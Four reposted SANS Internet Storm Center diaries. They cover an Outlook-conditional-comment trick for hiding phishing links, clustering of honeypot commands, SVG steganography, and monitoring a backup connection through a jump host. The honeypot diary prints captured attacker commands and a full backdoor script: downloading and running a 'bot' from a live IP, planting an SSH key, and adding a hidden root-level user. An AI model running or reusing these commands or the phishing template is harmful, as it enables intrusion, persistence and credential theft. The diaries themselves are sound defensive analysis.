This post was originally published on this site

I recently came across an interesting phishing e-mail. At first glance, it looked like a “normal” phishing that tried to pass itself off as a message from one of the Czech banks asking account holders to update their information…

Nevertheless, when I hovered above the rectangle that a recipient was expected to click on, I was surprised to see that the link in the pop-up actually pointed to the legitimate domain of the bank.

My first thought was that threat actors behind the phishing made a mistake. My assumption was that they used a real e-mail from the bank as a baseline that they wanted to modify to create a message that would point recipients to a malicious site, and mistakenly sent it out before it was finished – strange as it may sound, it wouldn’t have been nowhere near the first case of something like that I’ve seen. 

Nevertheless, once I looked at the HTML code of the message, it quickly emerged that I was wrong. The threat actors actually used a technique which changes displayed content based on a “browser” it is opened in. The technique in question leverages HTML conditional statements <!–[if mso]> and <!–[if !mso]> that specify content that should be displayed if a  message/HTML page is opened in Outlook or in any other reader/browser.

Using it, threat actors behind the message caused the link shown/pointed to in Outlook to a benign one, while making it point to a – presumably – credential stealing website in any other e-mail client/browser…

<!--[if mso]>
    ...
    <a href=[benign link] >
    ...
<![endif]--><!--[if !mso]><!-->
    ...
    <a href=[malicious link] >
    ...
<!--<![endif]-->

In this case, threat actors likely used this technique with the intention of hiding the malicious link in corporate environments, where Outlook is commonly used (alongside security mechanisms that scan web traffic, DNS requests, etc.) and where users would probably be less likely to click, since an e-mail from a bank sent to their work e-mail, instead of a private one, would probably be a red flag on its own, while ensuring that recipients who opened the e-mail in a non-Outlook client would still be directed to the malicious website.

While this approach isn’t new – in fact, it has been documented since at least 2019[1] – its use in the wild is not too common… And since it is therefore among the lesser-known phishing techniques I believe it is worthy of at least this short reminder of its existence.

[1] https://www.libraesva.com/outlook-comments-abused-to-deliver-malware/

———–
Jan Kopriva
LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

DShield honeypots [1] receive different types of attack traffic and the volume of that traffic can change over time. I've been collecting data from a half dozen honeypots for a little over a year to make comparisons. This data includes:

• Cowrie logs [2], which contain SSH and telnet attacks
• Web honeypot logs
• Firewall logs (iptables)
• Packet captures using tcpdump

The highest volume of activity has been for my residentially hosted honeypot. 

Figure 1: Cowrie log volume by honeypot starting on 4/21/2024, covering approximately 1 year. 

 

The data is processed with some python scripts to identity data clusters and outliers [3]. This weekend I learned that there is only so much memory you can throw at a probelm before you need to consider a different strategy for analyzing data. While doing clustering of unique commands submitted to my honeypots, my python script crashed. It left me with a problem on what do to next. One of the options that I had was to try and look at a subset of the command data. But what subset?

Something that was interesting when previously reviewing the data was how many different kinds of password change attempts happened on honeypots. This was one of the reasons that I tried to do clustering in the first place. I wanted to be able to group similar commands, even if there were deviations, such as the username and password attempted for a password change command. 

A summary of the data volume for submitted commands ("input" field in Cowrie data):

Unique commands: 536,508
Unique commands with "passwd" used: 502,846
Percentage of commands with "passwd" included: 93.73%

Considering that 94% of the unique commands submitted had something to do with "passwd", I decided to filter those out, which would allow me to cluster the remaining data without any memory errors. That still left how to review this password data and look for similar clusters. My solution was simply to sort the data alphabetically and take every third value for analysis. 

# sort pandas dataframe using the "input" column
unique_commands_passwd = unique_commands_passwd.sort_values(by='input')

# take every third value from the dataframe and store it in a new datafame for analysis
unique_commands_passwd_subset = unique_commands_passwd.iloc[::3, :]

This allowed me to process the data, but it does have some shortcomings. If there were three adjacent entries that may have been outliers or unique clusters, some of that data would get filtered out. Another option in this case could be to randomly sample the data.

From this clustering process, 17 clusters emerged. Below are examples from each cluster. 

 

Command	Cluster
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 45ukd2Re) system && sudo usermod -aG sudo system	0
echo "czhounp2mk0NIg9gRFnp2mk0NIg9gRFn"|passwd	1
echo "$#@!QWER$#@!REWQFDSAVCXZnougti9mT9YAanougti9mT9YAan"|passwd	2
echo "540df7f83845146f0287ff6d2da77900nE3oSNKfWpq1snE3oSNKfWpq1sn"|passwd	3
echo "A@0599343813A@0599343813A@0599343813nymL1D2CvlBlWnymL1D2CvlBlWn"|passwd	4
echo "ItsemoemoWashere2023supportnnZsvXDsxcCEmnnZsvXDsxcCEmn"|passwd	5
echo "root:ddKCQwpLRc9Q"|chpasswd|bash	6
echo -e "Passw0rdndljyjtNPLEwIndljyjtNPLEwI"|passwd|bash	7
echo -e "xmrmining@isntprofitablen7UrX3NlsBj6in7UrX3NlsBj6i"|passwd|bash	8
echo -e "540df7f83845146f0287ff6d2da77900nHB15VQlzOyOonHB15VQlzOyOo"|passwd|bash	9
echo -e "A@0599343813A@0599343813A@0599343813nymL1D2CvlBlWnymL1D2CvlBlW"|passwd|bash	10
echo -e "ItsemoemoWashere2023supportnnZsvXDsxcCEmnnZsvXDsxcCEm"|passwd|bash	11
lscpu && echo -e "yNHYAVV3nyNHYAVV3" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt	12
lscpu | grep "CPU(s):                " && echo -e "5XHeUh9gNe76n5XHeUh9gNe76" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot;	13
lscpu | grep "CPU(s):                " && echo -e "9nz66TbaU9Y8n9nz66TbaU9Y8" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34[.]237 -j DROP; iptables -A INPUT -s 186.2.171[.]36 -j DROP	14
lscpu | grep "CPU(s):                " && echo -e "Gr7gWzAzts5ynGr7gWzAzts5y" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34.237 -j DROP	15
openssl passwd -1 45ukd2Re	16

Figure 2: Sampling of commands with "passwd" used for each cluster identified. 

 

Some of these could probably be clustered better with different feature selections, but it's still a nice grouping. I was a bit more interested in what the outliers looked like (cluster=-1).
 

Figure 3: Clustering outliers highlighting some more unique entries. 

 

Commands
#!/bin/bash username="local" version="1.3" if [ "$EUID" -ne 0 ]; then   echo "[-] Run as root!"   exit fi getent passwd $username > /dev/null if [ $? -eq 0 ]; then   echo "[-] Username $username is already being used!"   exit fi <rest of script not included>
;             arch_info=$(uname -m);             cpu_count=$(nproc);             gpu_count=$(lspci | egrep -i 'nvidia|amd' | grep -e VGA -e 3D | wc -l);             echo -e "YnEGa37OnYnEGa37O" | passwd > /dev/null 2>&1;             if [[ ! -d "${HOME}/.ssh" ]]; then;                 mkdir -p "${HOME}/.ssh" >/dev/null 2>&1;             fi;             touch "${HOME}/.ssh/authorized_keys" 2>/dev/null;             if [ $? -eq 0 ]; then;                 echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys;                 chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1;                 chmod 700 ${HOME}/.ssh >/dev/null 2>&1;                 ssh_status="success";             else;                 ssh_status="failed";             fi;             users=$(cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -v /bin/sync | grep -v /sbin/shutdown | grep -v /sbin/halt | cut -d: -f1 | sort);             echo "$arch_info:$cpu_count:$gpu_count:$users:$ssh_status";
ps -HewO lstart ex;echo finalshell_separator;ls --color=never -l /proc/*/exe;echo finalshell_separator;cat /etc/passwd;echo finalshell_separator;ip addr;echo finalshell_separator;pwd;echo finalshell_separator;uname -s;uname -n;uname -r;uname -v;uname -m;uname -p;uname -i;uname -o;echo finalshell_separator;cat /etc/system-release;cat /etc/issue;echo finalshell_separator;cat /proc/cpuinfo;echo finalshell_separator;

Figure 4: Commands that looked more unique among the cluster outliers. 

 

These were much more interesting, especially the first one since I was anticipating to find a reference for the script somewhere, but have found anything. The full script here:

#!/bin/bash
username="local"
version="1.3"

if [ "$EUID" -ne 0 ]; then
  echo "[-] Run as root!"
  exit
fi

getent passwd $username > /dev/null
if [ $? -eq 0 ]; then
  echo "[-] Username $username is already being used!"
  exit
fi

echo "[+] SSH Vaccine Script v$version"

os=`lsb_release -is 2>/dev/null || echo unknown`
cpus=`lscpu 2>/dev/null | egrep "^CPU(s):" | sed -e "s/[^0-9]//g" || nproc 2>/dev/null || echo 0`

# Create the backdoor username.
echo "[!] Create username $username with administrator privilege."
if [ ! -d /home ]; then
  mkdir /home
  echo "[!] Folder /home was created."
fi
passwd=$(timeout 10 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
h="$pwhash"
if [ -x "$(command -v openssl)" ]; then
  h=$(echo $passwd | openssl passwd -1 -stdin)
else
  passwd="$pw"
fi
useradd $username -o -u 0 -g 0 -c "local" -m -d /home/$username -s /bin/bash -p "$h"

if ! grep -q "^$username:" /etc/passwd;then
  echo "cannot add user"
  exit
fi

if [ -x "$(command -v ed)" ]; then
  printf "%sn" '$m1' wq | ed /etc/passwd -s
  printf "%sn" '$m1' wq | ed /etc/shadow -s
else
  lo=$(tail -1 /etc/passwd)
  sed -i "/^$username:/d" /etc/passwd
  sed -i "/^root:.*:0:0:/a $lo" /etc/passwd

  lo=$(tail -1 /etc/shadow)
  sed -i "/^$username:/d" /etc/shadow
  sed -i "/^root:/a $lo" /etc/shadow
fi

echo "[!] Generated password: $passwd"
echo "[!] Set the profile."
echo "unset HISTFILE" >> /home/$username/.bashrc
echo 'export PS1="[$(tput setaf 2)][[$(tput sgr0)][$(tput bold)][$(tput setaf 2)]u@h W[$(tput sgr0)][$(tput setaf 2)]][$(tput sgr0)][$(tput bold)][$(tput setaf 7)]$ [$(tput sgr0)]"' >> /home/$username/.bashrc
echo "cd /var/www/httpd" >> /home/$username/.bashrc
echo "w" >> /home/$username/.bashrc
echo "################################################################################"

echo "#######################################################################" > /tmp/sshd_config_tmp
echo "#                    ! ! ! ! ! IMPORTANT ! ! ! ! !                    #" >> /tmp/sshd_config_tmp
echo "# * Your system has detected a weak password for root account and for #" >> /tmp/sshd_config_tmp
echo "# security reasons, remote access via SSH has been blocked to prevent #" >> /tmp/sshd_config_tmp
echo "# unauthorized access. In order to enable again remote access to this #" >> /tmp/sshd_config_tmp
echo "# machine for root user via SSH, set a new complex password for root  #" >> /tmp/sshd_config_tmp
echo "# account and delete 'DenyUsers root' line below on this config file. #" >> /tmp/sshd_config_tmp
echo "# * Restarting the SSH Daemon is required for changes to take effect. #" >> /tmp/sshd_config_tmp
echo "#                                                                     #" >> /tmp/sshd_config_tmp
echo "# Bash commands:                                                      #" >> /tmp/sshd_config_tmp
echo "# passwd root             (Changes your root password).               #" >> /tmp/sshd_config_tmp
echo "# service sshd restart    (Restart the SSH Daemon).                   #" >> /tmp/sshd_config_tmp
echo "DenyUsers root" >> /tmp/sshd_config_tmp
echo "#######################################################################" >> /tmp/sshd_config_tmp
cat /etc/ssh/sshd_config >> /tmp/sshd_config_tmp
yes | cp /tmp/sshd_config_tmp /etc/ssh/sshd_config > /dev/null 2>&1
rm -rf /tmp/sshd_config_tmp

systemctl restart ssh || systemctl restart sshd || service ssh restart || service sshd restart || /etc/init.d/ssh restart || /etc/init.d/sshd restart
if [ $? -eq 0 ];then
  echo "SSHD restarted"
else
  echo "SSHD error"
fi


ip=$ip
echo "[!] IP: $ip"

# Try to get a hostname from IP.
dns=`getent hosts $ip | awk '{print $2}'`
if [ -z "$dns" ]
then
  dns=null
fi
echo "[!] DNS: $dns"

# Get country name from IP.
country=`wget -qO- https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || curl -ks -m30 https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || echo X`


echo "[!] List of usernames on this machine:"
ls /home | awk '{print $1}'

echo "[!] List of ethernet IP addresses:"
ip addr show | grep -o "inet [0-9]*.[0-9]*.[0-9]*.[0-9]*" | grep -o "[0-9]*.[0-9]*.[0-9]*.[0-9]*"
echo "################################################################################"

# Print all info necessary about the machine.
echo ""
uname -a
echo "$username $passwd $h"
echo "$ip,$dns,root,$username,$passwd,$cpus,$os,$country"
echo ""
echo "################################################################################"

 

I have only seen this command once on my Digital Ocean honeypot on 9/13/2024 from %%ip:194.169.175.107%%. I'll dive into the script and some of the other activity from this host in a future diary. 

The clustering exercise helped to find one item that was unqiue out of over 500,000 values. This was a good lesson for me to find ways to sample data and save memory resources.

 

[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/cowrie/cowrie
[3] https://isc.sans.edu/diary/31050

—
Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Didier recently published several diaries related to steganography. I have to admit that steganography isn't exactly my favorite topic. It is one of those "neat" infosec toys, but its applicability is limited. Data exfiltration usually does not require proper steganography, but just appending data to an image will usually work just fine. 

On the other hand, it looks like the kids still like and enjoy diaries about steganography. For one of my recent podcasts, a viewer left a message asking about the use of SVG images for steganography, to avoid some of the loss issues with compressed image formats [1]. Image formats break down into two basic types: Bitmap and vector image formats. Most images you see are bitmap or pixel-based. These formats tend to be easier to create and display. However, they have the disadvantage of not being able to scale up, and the image size can become quite large, which in turn requires compression. While there are some commonly used lossless compression formats, many image formats accept some loss in detail to enhance compression. Steganography takes advantage of similar colors being indistinguishable from each other. However, the same issue is used by compression algorithms. Neighboring pixels with similar colors are often approximated by changing them all to the same color, simplifying compression.

The images below use JPEG compression. The "uncompressed" version on the left is 130kBytes, while the compressed version is around 23kBytes. For a quick glance, the images are identical, but if you zoom in a bit, you will probably see the "blockiness" of the compressed image caused by adjusting the colors. This compression would wipe out any steganography message

uncompressed	compressed

Vector-based images, on the other hand, describe pictures as vectors. This allows for arbitrary scaling of the images and can lead to smaller image formats, in particular for simple but large format images. On the web, "SVG" is particularly popular. SVG is based on XML, and can easily be embedded in HTML. For regular images, the "data:" URL would have to be used, which is quite clumsy for more complex images. For example, the menu icons on the left are embedded as SVG images. The little "house" for the link to "Homepage" is represented by this SVG snippet:

<svg style="width:20px;height:20px" viewBox="0 0 24 24">
    <path fill="currentColor" d="M10,20V14H14V20H19V12H22L12,3L2,12H5V20H10Z"></path>
</svg>

The "path" describes the image shape. Even more complex images can be expressed as SVG, and bitmaps can be converted into SVG. For example, the dog above as an SVG using the Adobe SVG converter:

You may notice that the image takes a moment to build, and it is 4 MB in size. But this, in turn, provides plenty of opportunity for steganography. Most SVG steganography tools I could find use pretty much the same method used for pixel-based images: They adjust the color of individual areas slightly [2][3]. For a complex SVG as the one shown above, this works pretty well.

But vector-based images offer another opportunity: You may add additional "vectors", without changing the look of the image. For example, a line can be split into two lines.

A value can be encoded in the ratio of x and y. One advantage of SVG is that coordinates are expressed as floats, not integers. The image format is independent of its actual size. So it would be easy to encode a byte as (x+y)/y*255 in each line. Or even increasing this to two bytes would be doable. Decoding the image would not require a special "key" like for most other steganography algorithms. Instead, the recipient just needs to know that all lines that continue each other are encoding data. For an observer, it would be noticeable if an image contains a lot of "continuing" lines. But the same is true for more steganography schemes: If an observer is aware of the steganography method, they will at least be able to detect that there is a message, and in some cases they will be able to extract it. To truly protect the message, it must first be encrypted before it is encoded into the image.

But even for SVG-encoded images, there is a change that later compression or optimization will remove the details encoded in the image, but it is less likely that a lossy compression is used on SVG. 

Bevore implementing any of that… let me walk my dogs. Maybe there will be a follow-up diary later this week with a script.

[1] https://www.youtube.com/watch?v=QN4ecl9hQ80
[2] http://paper.ijcsns.org/07_book/201910/20191016.pdf
[3] https://github.com/japplebaum/svgsteg

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

If you are reading this, you are probably someone who will not easily go without internet connectivity for an extended amount of time. You may also have various home systems that you would like to be able to reach in case of an outage of your primary internet connection. A typical setup would include a primary connection via cable/fiber and a secondary connection via cellular or sattelite.

In this post, I will skip over setting up the failover part, but instead, I will focus on securing remote access and monitoring the backup connection.

1 – "Jump Host" (aka "Bastion Host")

If you need reliable and secure connectivity TO your network, a "jump host" is required. This is typically a minimal virtual machine with a cloud provider. Any affordable backup connectivity usually uses "carrier-grade NAT." Your IP address will not only be dynamic. You will only receive a non-routable IP address. Even IPv6 will sadly not help in many cases. Some cellular providers will NAT IPv6 (no idea why, but I suspect to prevent inbound connectivity so it can be sold as a "business feature"). 

A "jump host" will provide a static IPv4/v6 address that is globally reachable. It also provides a perimeter to manage better and monitor inbound connectivity.

Pick the cloud provider you choose (AWS, Digitalocean…) and set up a minimum virtual machine. You want to reduce your attack surface as much as possible. I only expose SSH "to the world" and run it on an odd port. 

To enhance monitoring of the jump host, I am adding a "login.sh" script to the /etc/profile.d directory to alert me via SMS whenever anybody logs in to the host. You may want to put some guardrails around this; for example, do not alert if the connection originates from a "known good" IP address. But logins should not be too familiar. But remember that it is essential to guard these types of "backdoors" into your network well.

Follow standard hardening guidelines for SSH!

Here is the login.sh script I dropped in /etc/profile.d:

#!/usr/bin/bach
[env variables removed]
details=$(who --ips | sed 's/ +/ /g')
/usr/bin/curl -sX POST -d "Body=Bastion Login: $details"
     -d "From=$TWILIO_NUMBER"
     -d "To=$TO_NUMBER"
     "https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID/Messages"
     -u "$TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN" > ~/twilio.log
In this example, 

I use SMS via Twilio for the alert to provide better reliability during an outage. However, you may use email or another simple messaging API like Telegram. Whatever works for you (and keeps working if your primary network connectivity is down)

2 -Internal Host

The internal host may be implemented using a stand-alone system like a Raspberry Pi or a virtual system. The gateway/router should be configured to route traffic from this system exclusively via the backup connection. This system covers two purposes: It does provide the outbound tunnel to our "Jump Host", and it monitors the backup connection. The backup connection will (hopefully) be used only sporadically. Without careful monitoring, the connection may go down and will be noticed during the failover.

To monitor the connection, I use the command line version of the "speedtest-cli" tool. This tool is based on speedtest.com. Once an hour, I perform a speed test and check the results. One nice advantage of the speedtest-cli tool is that it also reports your ISP. This way, you can monitor that traffic is routed via the correct connection. Hourly checks are sufficient in this case. Don't forget that the speed test will download some data that could be significant on a capped connection.

I noticed that T-Mobile does throttle ping traffic to hosts like 8.8.8.8. Be careful using simple pings like this for testing, as it may flood you with false positives. In particular, if you use the connectivity test for automatic failover, be careful how you use it to detect downtime. It is often better to use the ISP's advertised DNS server.

Here is the simple bash script I use to monitor the connection:

#!/bin/bash

result=$(speedtest-cli --no-upload --json | tee -a speedtest.log)
isp=$(echo $result | jq .client.isp | tr -d '"')
speed=$(echo $result | jq .download | cut -f1 -d'.')
latency=$(echo $result | jq .ping | cut -f1 -d'.')
error=''

if [ "$isp" != "Starlink" ]; then
    error="wrong ISP"
fi
if [ "$speed" -lt 10000000 ]; then
    error="$error low speed"
fi
if [ "$latency" -gt 100 ]; then
    error="$error high latency"
fi
if [ "$error" != "" ]; then
    mail jullrich@e... -s "Backup Connectivity Problem" <<EOF
$error

ISP $isp SPEED $speed LATENCY $latency
EOF
    echo $error
    echo "ISP $isp SPEED $speed LATENCY $latency"
fi

You may also implement a login alert on the internal endpoint, just like on the jump host. Remember that a connection from the jump host to the internal system will be invisible to most of your other network detection systems.

3 – Connectivity

Finally, you need to connect the internal host to the jump host. There are several different options. I use ssh, and the "autossh" script to automatically restart ssh if the connection should get disrupted. Various VPN solutions like OpenVPN, Wireguard or Tailscale will likely work well too. SSH has been working for me for about 30 years now, so not going to change 🙂

You will now have a "backdoor" into your network. As outlined above, make sure you secure that backdoor well. Many cloud providers will allow you to further limit access to the "jump host". These types of backup systems will also easily get forgotten. I like to use automatic updates as much as possible for these systems. Make sure logs from the "Jump Host" are forwarded to your main log aggregation solution. 

Once everything is set up, there are two options:

1. You are at home during an outage: Your outbound traffic should be routed via your backup connection. All should be good, and the jump host doesn't get involved
2. You are away from home during an outage: Connect to your jump host, and from there via a forwarded port or VPN to your internal host. The internal host may not be used to do things like, for example, reboot equipment, or debug the underlying issue (or just retrieve a file you need).

The cost of it all is small. You may get away with a free cloud system. For extra credit: Automate starting up the jump host only while your main connection is down 🙂 . A backup internet connection via 5G or Sattelite (Starlink) will run you around $50/month (more for an unmetered Starlink connection). In the "good old days", we had dialup modems as out-of-band backups. It is still handy to have a console server for remote access (but connect to it via the tunnel described above) or maybe a small IP-KVM, as they have not become available. I would advise against exposing any kind of KVM or console server directly to the internet and only expose them via a VPN.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.